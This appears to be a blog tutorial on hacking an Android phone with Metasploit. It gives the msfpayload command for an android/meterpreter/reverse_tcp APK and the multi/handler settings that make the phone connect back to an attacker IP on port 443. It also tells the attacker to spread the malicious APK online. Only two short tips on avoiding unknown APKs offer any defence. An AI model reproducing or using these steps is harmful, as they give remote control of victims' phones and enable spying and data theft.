Hacking Android Smartphone using Metasploit
Here is some initial information for this tutorial:
Attacker IP address: 192.168.8.94
Attacker port to receive connection: 443
1. Metasploit framework (we use Kali Linux 1.0.6 in this tutorial)
2. Android smartphone (we use HTC One android 4.4 KitKat)
Step by Step Hacking Android Smartphone Tutorial using Metasploit:
1. Open terminal (CTRL + ALT + T) view tutorial how to create linux keyboard shortcut.
2. We will utilize Metasploit payload framework to create exploit for this tutorial.
msfpayload android/meterpreter/reverse_tcp LHOST=<attacker_ip_address> LPORT=<port_to_receive_connection>
3. Because our payload is reverse_tcp where attacker expect the victim to connect back to attacker machine, attacker needs to set up the handler to handle incoming connections to the port already specified above. Type msfconsole to go to Metasploit console.
use exploit/multi/handler –> we will use Metasploit handler
set payload android/meterpreter/reverse_tcp –> make sure the payload is the same with step 2
set lhost 192.168.8.94 –> attacker IP address
set lport 443 –> port to listen the reverse connection
exploit –> start to listen incoming connection
4. Attacker already have the APK's file and now he will start distribute it (I don't need to describe how to distribute this file, internet is the good place for distribution ).
5. Short stories the victim (me myself) download the malicious APK's file and install it. After victim open the application, attacker Metasploit console get something like this:
1. Don't install APK's from the unknown source.
2. If you really want to install APK's from unknown source, make sure you can view, read and examine the source code. The picture below is the source code of our malicious APK's in this tutorial.
